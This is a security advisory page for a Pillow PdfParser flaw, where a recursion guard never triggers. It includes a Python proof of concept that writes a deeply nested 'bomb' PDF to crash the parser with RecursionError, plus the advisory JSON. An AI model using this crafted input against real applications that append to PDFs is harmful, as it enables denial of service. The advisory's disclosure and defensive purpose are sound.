GHSA-254F-3936-288H
Vulnerability from github – Published: 2026-10-21 21:11 – Updated: 2026-10-21 21:11Summary
PdfParser's get_value() can recurse without any limit and crash with an uncaught RecursionError. It is reachable through Image.save(im, fp=<pdf>, format="PDF", append=True) when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.
Details
get_value() in src/PIL/PdfParser.py
This is a classmethod that takes max_nesting: int = -1 and has a guard:
if max_nesting == 0:
return None, None
Every recursive call (nested arrays, dictionaries, indirect object definitions) passes max_nesting=max_nesting - 1. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid /Pages tree, since read_pdf_info() parses the /Root object's own dictionary first, before checking anything else.
This advisory reports a single vulnerability: an ineffective recursion-depth guard in PdfParser.get_value() (the sentinel -1 default never reaches the == 0 check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() .
Steps to reproduce
Both PDFs below are plain text, built directly in Python, no PDF library needed.
from PIL.PdfParser import PdfParser
def build_pdf(root):
out = bytearray(b"%PDF-1.4\n")
offset = len(out)
out += f"1 0 obj\n".encode()
out += root
out += b"\nendobj\n"
out += b"xref\n"
out += f"0 2\n".encode()
out += b"0000000000 65535 f \n"
out += f"{offset:010d} 00000 ".encode() + b"n \n"
xref_offset = len(out)
out += b"xref\n"
out += f"0 2\n".encode()
out += b"0000000000 65535 f \n"
out += f"{offset:010d} 00000 ".encode() + b"n \n"
out += b"trailer\n"
out += f"<< /Size 2 /Root 1 0 R >>\n".encode()
out += b"startxref\n"
out += f"{xref_offset}\n".encode()
out += b"%%EOF"
return bytes(out)
bomb = b"[" * 3000 + b"]" * 3000
root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>"
with open("nesting_bomb.pdf", "wb") as f:
f.write(build_pdf(root))
PdfParser("nesting_bomb.pdf") # raises RecursionError
Expected: a clean PdfFormatError.
Actual: raises a raw RecursionError: maximum recursion depth exceeded.
Impact
- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (
Image.save(..., format="PDF", append=True)) can crash that request with a RecursionError, using a file of a few hundred bytes. - Confidentiality: none.
- Integrity: none.
- Pillow cannot open PDFs for reading through
Image.open().PdfParseris only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "5.1.0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112391"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-21T21:11:07Z",
"nvd_published_at": "2026-10-19T21:17:07Z",
"severity": "MODERATE"
},
"details": "### Summary\n`PdfParser`\u0027s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=\u003cpdf\u003e, format=\"PDF\", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.\n\n### Details\n**`get_value()` in `src/PIL/PdfParser.py`**\n\nThis is a classmethod that takes `max_nesting: int = -1` and has a guard:\n\n```python\nif max_nesting == 0:\n return None, None\n```\n\nEvery recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python\u0027s recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object\u0027s own dictionary first, before checking anything else.\n\nThis advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel `-1` default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE\u0027d bug in a different function \u2014 it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() .\n\n### Steps to reproduce\nBoth PDFs below are plain text, built directly in Python, no PDF library needed.\n\n```python\nfrom PIL.PdfParser import PdfParser\n\ndef build_pdf(root):\n out = bytearray(b\"%PDF-1.4\\n\")\n offset = len(out)\n out += f\"1 0 obj\\n\".encode()\n out += root\n out += b\"\\nendobj\\n\"\n out += b\"xref\\n\"\n out += f\"0 2\\n\".encode()\n out += b\"0000000000 65535 f \\n\"\n out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n xref_offset = len(out)\n out += b\"xref\\n\"\n out += f\"0 2\\n\".encode()\n out += b\"0000000000 65535 f \\n\"\n out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n out += b\"trailer\\n\"\n out += f\"\u003c\u003c /Size 2 /Root 1 0 R \u003e\u003e\\n\".encode()\n out += b\"startxref\\n\"\n out += f\"{xref_offset}\\n\".encode()\n out += b\"%%EOF\"\n return bytes(out)\n\nbomb = b\"[\" * 3000 + b\"]\" * 3000\nroot = b\"\u003c\u003c /Type /Catalog /Pages 2 0 R /Bomb \" + bomb + b\" \u003e\u003e\"\nwith open(\"nesting_bomb.pdf\", \"wb\") as f:\n f.write(build_pdf(root))\n\nPdfParser(\"nesting_bomb.pdf\") # raises RecursionError\n```\n\nExpected: a clean `PdfFormatError`.\n\nActual: raises a raw `RecursionError: maximum recursion depth exceeded`.\n\n### Impact\n- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format=\"PDF\", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes.\n- Confidentiality: none.\n- Integrity: none.\n- Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.",
"id": "GHSA-254f-3936-288h",
"modified": "2026-10-21T21:11:07Z",
"published": "2026-10-21T21:11:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112391"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cd"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.